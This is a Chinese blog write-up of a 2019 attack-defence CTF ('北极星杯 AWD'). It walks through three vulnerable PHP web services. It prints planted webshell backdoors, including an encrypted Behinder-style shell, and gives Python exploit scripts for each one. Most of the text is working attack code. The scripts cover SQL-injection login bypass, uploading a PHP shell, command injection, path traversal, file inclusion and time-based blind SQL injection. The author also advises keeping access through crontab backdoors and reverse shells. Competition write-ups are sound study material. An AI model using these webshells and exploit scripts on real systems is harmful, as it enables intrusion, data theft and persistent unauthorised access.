Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

北极星杯AWD-Writeup

CTF Adminxe 4269℃ 0评论

比赛规则

  • 比赛时间 2019.10.3 14.20~17.20
  • 每个队伍分配到一个docker主机,给定web(web)/pwn(pwn)用户权限,通过特定的端口和密码进行连接;
  • 每台docker主机上运行一个web服务或者其他的服务,需要选手保证其可用性,并尝试审计代码,攻击其他队伍。
  • 选手可以通过使用漏洞获取其他队伍的服务器的权限,读取他人服务器上的flag并提交到平台上。
  • 每次成功攻击可获得5分,被攻击者扣除5分;
  • 有效攻击五分钟一轮。选手需要保证己方服务的可用性,每次服务不可用,扣除10分;
  • 服务检测五分钟一轮;
  • 不允许使用任何形式的DOS攻击,第一次发现扣1000分,第二次发现取消比赛资格。
  • 这篇文章借鉴于朋友flag0,过后又把源码从新复现做了一遍,感觉还是会出现很多失误,多总结,少走弯路!

Web1

先上D盾,看一下预留后门

预留后门

assets/scripts/pass.php

<?php
@eval($_POST['pass']);
?>

很简单直接的一句话后门

assets/images/yjh.php

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID
    //这里用于生成session
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
 $post=file_get_contents("php://input");//读取post内容
 if(!extension_loaded('openssl'))//检查openssl扩展是否已经加载
 {//如果没有openssl
 $t="base64_"."decode";
 $post=$t($post."");//base64_decode
 
 for($i=0;$i<strlen($post);$i++) {
      $post[$i] = $post[$i]^$key[$i+1&15]; //进行异或加密
     }
 }
 else
 {
 $post=openssl_decrypt($post, "AES128", $key);//aes加密
 }
    $arr=explode('|',$post);//返回由字符串组成的数组
    $func=$arr[0];
    $params=$arr[1];//获取第二个

 class C
 {
 public function __construct($p) // __construct() 允许在实例化一个类之前先执行构造方法
 {
 eval($p."");//直接eval
 }
 }
 @new C($params);
}
?>

冰蝎后门,r先生成随机的key值,然后通过key值对加密,如果服务器没有openssl拓展,则与key值进行异或解密,如果有openssl环境,则使用key值进行解密。

搞清楚了代码逻辑之后,编写利用脚本

服务端有openssl拓展的利用脚本

import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad


def aes_encode(key, text):
    key = key.encode()
    text = text.encode()
    text = pad(text, 16)
    model = AES.MODE_CBC  # 定义模式
    aes = AES.new(key, model, b'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0')
    enPayload = aes.encrypt(text)  # 加密明文
    enPayload = base64.encodebytes(enPayload)  # 将返回的字节型数据转进行base64编码
    return enPayload

def getBinXie(url):
    req = requests.session()
    url = url+"/yjh.php"
    par = {
        'pass':''
    }
    key = req.get(url,params=par).content
    key = str(key,encoding="utf8")
    payload = '1|system("cat /flag");'
    enPayload = aes_encode(key,payload)
    res = req.post(url,enPayload).text
    return res
if __name__ == '__main__':
    url = "http://localhost"
    flag = getBinXie(url)
    print(flag)

因为php中加密方式是AES128,所以可以判断是CBC模式

服务端没有openssl拓展的利用脚本

当没有拓展的时候会执行异或加密

def xorEncode(key,text):
    textNew = ""
    for i in range(len(text)):
        left = ord(text[i])
        rigth = ord(key[i+1&15])
        textNew += chr(left ^ rigth)
    textNew = base64.b64encode(textNew.encode())
    textNew = str(textNew,encoding="utf8")
    return textNew
def getBinXieXor(url):
    req = requests.session()
    url = url+"/login/yjh.php"
    par = {
        'pass':''
    }
    key = req.get(url,params=par).content
    key = str(key,encoding="utf8")
    text = "|system('cat /flag');"
    enPayload = xorEncode(key,text)
    res = req.post(url, enPayload).text
    return res

在web1中,login\yjh.phppma\binxie2.0.1.phpyjh.php内容是一样的

反序列化后门

sqlhelper.php

D盾没扫出来的,还有一个反序列化后门

if (isset($_POST['un']) && isset($_GET['x'])){
class A{
    public $name;
    public $male;
    
    function __destruct(){//析构方法,当这个对象用完之后,会自动执行这个函数中的语句
        $a = $this->name;
        $a($this->male);//利用点
    }
}

unserialize($_POST['un']);
}

$a($this->amle)如果$a=eval;$b=system('cat /flag');就相当于eval(system("cat /flag"));

构造payload

<?php
class A{
    public $name;
    public $male;
    
    function __destruct(){//对象的所有引用都被删除或者当对象被显式销毁时执行
        $a = $this->name;
        $a($this->male);//利用点
}
$flag = new A();
$flag -> name = "system";
$flag -> male = "cat /flag";
var_dump(serialize($flag));
?>

获得反序列化字符串

O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}

1570288065176

封装成攻击函数

def getSerialize(url):
    import requests
    url = url + "/sqlhelper.php?x=a"
    payload = {
        "un":'O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}'
    }
    flag = requests.post(url=url,data=payload).content
    return str(flag,encoding="utf8").strip()

上传漏洞

info.php

<?php
include_once "header.php";
include_once "sqlhelper.php";
?>
<?php
if (isset($_POST['address'])) {
    $helper = new sqlhelper();
    $address = addslashes($_POST['address']);
    if (isset($_POST['password'])) {
        $password = md5($_POST['password']);
        $sql = "UPDATE  admin SET address='$address',password='$password' WHERE id=$_SESSION[id]";
    } else {
        $sql = "UPDATE  admin SET address='$address'  WHERE id=$_SESSION[id]";
    }
    $res = $helper->execute_dml($sql);
    if ($res) {
        echo "<script>alert('更新成功');</script>";
    }
    if (isset($_FILES)) {
        if ($_FILES["file"]["error"] > 0) {
            echo "错误:" . $_FILES["file"]["error"] . "<br>";
        } else {
            $type = $_FILES["file"]["type"];
            if($type=="image/jpeg"){
                $name =$_FILES["file"]["name"] ;
                if (file_exists("upload/" . $_FILES["file"]["name"]))
                {
                    echo "<script>alert('文件已经存在');</script>";
                }
                else
                {
                    move_uploaded_file($_FILES["file"]["tmp_name"], "assets/images/avatars/" . $_FILES["file"]["name"]);
                    $helper = new sqlhelper();
                    $sql = "UPDATE  admin SET icon='$name' WHERE id=$_SESSION[id]";
                    $helper->execute_dml($sql);
                }
            }else{
                echo "<script>alert('不允许上传的类型');</script>";
            }
        }
    }
}

?>

可以看到文件上传的这里,只验证了Cron-type,只要是把其修改为image/jepg就可以上传任意文件到assets/images/avatars/目录下了。

这里属于后台页面有权限控制,必须登陆后才能访问

<?php
session_start();
if (!isset($_SESSION['username'])){
    header('Location: /login');
}

查看登陆页面login/index.php

<?php
if (isset($_POST['username'])){
    include_once "../sqlhelper.php";
    $username=$_POST['username'];
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where name='$username' and password='$password';";
    $help = new sqlhelper();
    $res  = $help->execute_dql($sql);
    echo $sql;
    if ($res->num_rows){
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        $_SESSION['icon'] = $row['icon'];
        echo "<script>alert('登录成功');window.location.href='/'</script>";
    }else{
        echo "<script>alert('用户名密码错误')</script>";
    }
}

sql语句输入的部分没有任何过滤,很明显存在SQL注入漏洞,可以万能密码登陆绕过

POST /login/index.php HTTP/1.1
Host: localhost.110.165.119:90
Content-Length: 33
Cache-Control: max-age=0
Origin: http://localhost:90
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:90/login/index.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=494n7s8cfqqarg9qaqm57ql534
Connection: close

username=admin'%23&password=ccccc

利用链为login/index.php万能密码登陆->info.php任意文件上传

编写攻击模块

def getUPload(url):
    import requests
    req = requests.session()
    datas = {
        "username":"admin'#",
        "password":""
    }
    login = req.post(url=url+"login/index.php",data=datas)

    head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
    "Cookie": "PHPSESSID="+login.cookies.items()[0][1]
    }
    datas = {
        "address":"123123"
    }

    file = {
        ("file",("shell.php","<?php eval($_POST['cmd']);?>","image/jpeg"))
    }

    req.post(url+"info.php",headers=head,files=file,data=datas).text

    datas = {
        "cmd":"system('cat /flag');",
    }
    flag = req.post(url+"assets/images/avatars/shell.php",data=datas).text
    return flag.strip()

Web2

同样先用D盾扫一扫

1570329423056

预留后门

Login\index.php

<!-- partial -->
<script src="./script.js"></script>
<?php @eval($_POST['nono']);?>
</body>
</html>

images\pass.php 与icon\pww.php

是和Web1一样的冰蝎,这里就不再赘述

命令执行

connect.php

D盾报警的是这行$r = exec("ping -c 1 $host");

查看整段的逻辑

<?php
if ($check == 'net') {
    $r = exec("ping -c 1 $host");
    if ($r) {
        ?>
        <div class="sufee-alert alert with-close alert-success alert-dismissible fade show">
            <span class="badge badge-pill badge-success">Success</span>
            网络通畅
            <button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
            </button>
        </div>
        <?php
    } else {
        ?>
        <div class="sufee-alert alert with-close alert-danger alert-dismissible fade show">
            <span class="badge badge-pill badge-danger">Error</span>
            网络异常
            <button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
            </button>
        </div>
        <?php
    }
}
echo "";
?>

发现并没有回显,而是根据状态来显示不同的html代码,其中$host变量是可控的,我们看下他是怎么赋值的

if (isset($_GET['check'])) {
    $check = $_GET['check'];
    $id = intval($_GET['id']);
    $sql = "SELECT host,port from host where id = $id";
    $res = $helper->execute_dql($sql);
    $row = $res->fetch_assoc();
    $host = $row['host'];
    $port = $row['port'];
    if ($check=='web'){
        $location = $host.':'.$port; // Get the URL from the user.
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $res_web = curl_exec($curl);
        curl_close($curl);

    }

}

可以看到是从数据库查询的结果,接着看他是如何插入数据库的

if (isset($_POST['host'])) {
    $host = addslashes($_POST['host']);
    $port = intval($_POST['port']);
    if ($host && $port) {
        $sql = "INSERT INTO `host` (`host`, `port`) VALUES ('$host', '$port')";
        $res = $helper->execute_dml($sql);
        echo "<script>alert('成功加入云主机');</script>";
    } else {
        echo "<script>alert('不可以为空');</script>";
    }
}

在传入的时候经过了addslashes转义,但是转义对命令执行漏洞来说没有什么作用。

connect.php中开头包含了header.php文件

<?php
include "header.php";
include_once "sqlhelper.php";
$helper = new sqlhelper();

header.php中包含了login_require.php在其中有session的检测

<?php
session_start();
if (!isset($_SESSION['username'])){
    header('Location: /login');
}

login/index.php中存在传入的sql语句没有经过任何过滤,存在sql注入,可以使用万能密码登陆

<?php
if (isset($_POST['username'])) {
    include_once "../sqlhelper.php";
    $username = $_POST['username'];
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where username='$username' and password='$password'";
    $help = new sqlhelper();
    $res = $help->execute_dql($sql);
    if ($res->num_rows) {
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        echo "<script>alert('登录成功');window.location.href='/'</script>";
    } else {
        echo "<script>alert('用户名密码错误')</script>";
    }
}
?>

构造payload

构造利用payload

POST /connect.php?check=net&id=16 HTTP/1.1
Host: localhost:91
Content-Length: 60
Cache-Control: max-age=0
Origin: http://localhost:91
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:91/connect.php?check=net&id=16
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=6f3h723lnmdc1vd4u066p2rc75
Connection: close

host=||cat /flag > /usr/local/apache2/htdocs/1.txt&port=1123

因为没有回显所以将flag写入文件中,我们直接访问即可。
虽然有session检测,但是发现不登陆直接访问也可以

虽然304跳转了,但是却仍然执行命令了

编写利用模块

def getExec(url):
    import requests
    datas = {
        "host":"||cat /flag > /usr/local/apache2/htdocs/1.txt",
        "port":9999
    }

    requests.post(url+"/connect.php?check=net&id=16",data=datas)#执行命令
    flag = requests.get(url+"1.txt").text
    return flag.strip()

任意文件访问

img.php

<?php
$file = $_GET['img'];
$img = file_get_contents('images/icon/'.$file);
//使用图片头输出浏览器
header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $img;
exit;

这里可以利用目录穿越,直接读取到flag

构造payload

/img.php?img=/../../../../../../flag

编写利用模块

def getImg(url):
    import requests
    param = {
        "img":"/../../../../../../flag"
    }
    flag = requests.get(url+"/img.php",params=param).text
    return flag.strip()

反序列化后门

sqlhelper.php

<?php

class A{
    public $name;
    public $male;
    
    function __destruct(){
        $a = $this->name;
        $a($this->male);
    }
}

unserialize($_POST['un']);
?>

这里的利用和Web1中的利用是一样的,只不过少了if (isset($_POST['un']) && isset($_GET['x']))的限制,少了$_GET['x']参数,用之前的利用模块即可

Web3

同样这里使用D盾扫一下

只扫到了一个

命令执行

export.php

<?php
if (isset($_POST['name'])){
    $name = $_POST['name'];
    exec("tar -cf backup/$name images/*.jpg");
    echo "<div class=\"alert alert-success\" role=\"alert\">导出成功,<a href='backup/$name'>点击下载</a></div>";
}
?>

构造payload

name=||cat /flag > /usr/local/apache2/htdocs/1.txt||

因为这里没有回显所以,也只能导出flag,或者可以利用这个后门写入Webshell

编写利用模块

def getExec3(url):
    import requests
    datas = {
        "name":"||cat /flag > /usr/local/apache2/htdocs/1.txt||"
    }
    requests.post(url+"/export.php",data=datas)
    flag = requests.get(url+"/1.txt").text
    return flag.strip()

文件包含

index.php

<?php
include_once "login_require.php";
if (isset($_GET['page'])){
    $page = $_GET['page'];

}else{
        $page = 'chart.php';
}
?>
<!--                            --><?php
                            include_once "$page";
//                            ?>

构造payload,直接包含flag文件(这里必须登陆,才可以利用)

index.php?page=../../../../flag

看一下login/index.php

<?php
if (isset($_POST['username'])) {
    include_once "../sqlhelper.php";
    $username = addslashes($_POST['username']);
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where username='$username' and password='$password'";
    var_dump($sql);
    $help = new sqlhelper();
    $res = $help->execute_dql($sql);
    if ($res->num_rows) {
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        echo "<script>alert('登录成功');window.location.href='/'</script>";
    } else {
        echo "<script>alert('用户名密码错误')</script>";
    }
}
?>

username处被addslashes()转义了,而且没有编码转换,所以菜鸡我绕不过。。。

这里只能使用默认的账号密码登陆,查看数据库中密码

1
2
INSERT INTO `admin` (`id`, `username`, `password`) VALUES
(1, ‘admin’, ‘e10adc3949ba59abbe56e057f20f883e’);

经在线解密为123456

我们据此构造利用模块

def getInclude(url):
    import requests
    import re
    req = requests.session()
    datas = {
        "username":"admin",
        "password":"123456"
    }
    login = req.post(url=url+"login/index.php",data=datas)

    head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
    "Cookie": "PHPSESSID="+login.cookies.items()[0][1]
    }
    param = {
        "page":"../../../../flag"
    }

    rep = req.get(url+"/index.php",params=param,headers=head).text
    keys = re.search("flag{(.+?)}",rep)
    flag = keys.group(1)
    flag = "flag{"+flag+"}"
    return flag

这样就只有账号密码没有修改的会中招

sql注入

order.php

order.php处存在sql注入漏洞,用延时注入可以注入出来密码,但是效率有点低。。。

<?php
include_once "sqlhelper.php";
$helper = new sqlhelper();
if (isset($_POST['name'])) {
    $name = addslashes($_POST['name']);
    $price = intval($_POST['price']);
    if (isset($_FILES)) {
        // 允许上传的图片后缀
        $allowedExts = array("gif", "jpeg", "jpg", "png");
        $temp = explode(".", $_FILES["file"]["name"]);
        $extension = end($temp);     // 获取文件后缀名
        if ((($_FILES["file"]["type"] == "image/gif")
                || ($_FILES["file"]["type"] == "image/jpeg")
                || ($_FILES["file"]["type"] == "image/jpg")
                || ($_FILES["file"]["type"] == "image/pjpeg")
                || ($_FILES["file"]["type"] == "image/x-png")
                || ($_FILES["file"]["type"] == "image/png"))
            && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
            && in_array($extension, $allowedExts)) {
            if ($_FILES["file"]["error"] > 0) {
                echo "错误:" . $_FILES["file"]["error"] . "<br>";
            } else {
                $filename = $_FILES["file"]["name"];
                if (file_exists("upload/" . $_FILES["file"]["name"])) {
                    echo "<script>alert('文件已经存在');</script>";
                } else {
                    move_uploaded_file($_FILES["file"]["tmp_name"], "images/" . $_FILES["file"]["name"]);
                }
            }
        } else {
            echo "<script>alert('不允许上传的类型$t');</script>";
        }
    }


    if ($name && $price) {
        $sql = "INSERT INTO `product` (`name`, `price`,`img`) VALUES ('$name', '$price','$filename')";
        $res = $helper->execute_dml($sql);
        if ($res){
            echo "<script>alert('添加成功');</script>";

        }
    } else {
        echo "<script>alert('添加失败');</script>";
    }
}

这里的insert语句将'$name', '$price','$filename'带入了数据库

$name = addslashes($_POST['name']);
$price = intval($_POST['price']);

而$name和$price经过了处理,只有$filename参数可以利用了,可以使用延时注入

下面附上脚本,可以调用cmd5的接口进行md5解密,但是这个脚本跑下来效率很低

#coding=utf8
import requests
import time


def getAdminPass(url):
    passwdMd5 = ""
    md5Api = "https://www.cmd5.com/api.ashx?email=邮箱&key=这里换上你的key&hash="
    for i in range(32):
        for c in range(32,127):
            payload = "' or if((ascii(mid((select password from admin),{0},1))={1}),sleep(3),1))#') .png".format(str(i+1),str(c))
            print(payload)
            file = {
                ("file", ("{0}".format(payload), "", "image/png"))
            }
            datas = {
                "name": "1",
                "price": "2"
            }
            start_time = time.time()
            requests.post(url + "/order.php", data=datas, files=file)
            end_time = time.time()
            if (end_time - start_time) > 3:
                passwdMd5 += chr(c)
                print(passwdMd5)
                break

    passwd = requests.get(md5Api+passwdMd5).text.strip()
    errDict = {
        0:"解密失败",
        -1:"无效的用户名密码",
        -2:"余额不足",
        -3:"解密服务器故障",
        -4:"不识别的密文",
        -7:"不支持的类型",
        -8:"api权限被禁止",
        -999:"其它错误"
    }
    if "CMD5-ERROR" in passwd:
        index = passwd.rfind(":")
        errId = passwd[index+1:]
        errStr = errDict.get(int(errId))
        return "[-]Error: "+errStr
    else:
        return passwd.strip()


if __name__ == '__main__':
    url = "http://locahost:92"
    passwd = getAdminPass(url)
    print(passwd)

总结

总得来说,这次比赛漏洞设置的都比较明显,大部分通过d盾都可以扫出来,流量特征也很明显.

流量审计在题目难度不高的AWD比赛中效果非常显著.能够快速将抓到的payload转化为自动脚本反击,也可以抓不死马的密码搭乘顺风车.

至于其他权限维持的方法,比如软链接,crontab后门,反弹shell,sh后门.尽量把能用的方法都用上.

如果比赛题目的难度不是特别高,通常可以用d盾扫几个主办方预留的后门,只要手速够快,就可以再其他队伍删除后门之前留下各种后门,可以稳住前期优势,这次比赛我们队就在前期通过主办方后门稳居前三.

中后期,自动化脚本在批量利用web123以及pwn2.及时做好权限维持

转载请注明:Adminxe's Blog » 北极星杯AWD-Writeup

喜欢 (8)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址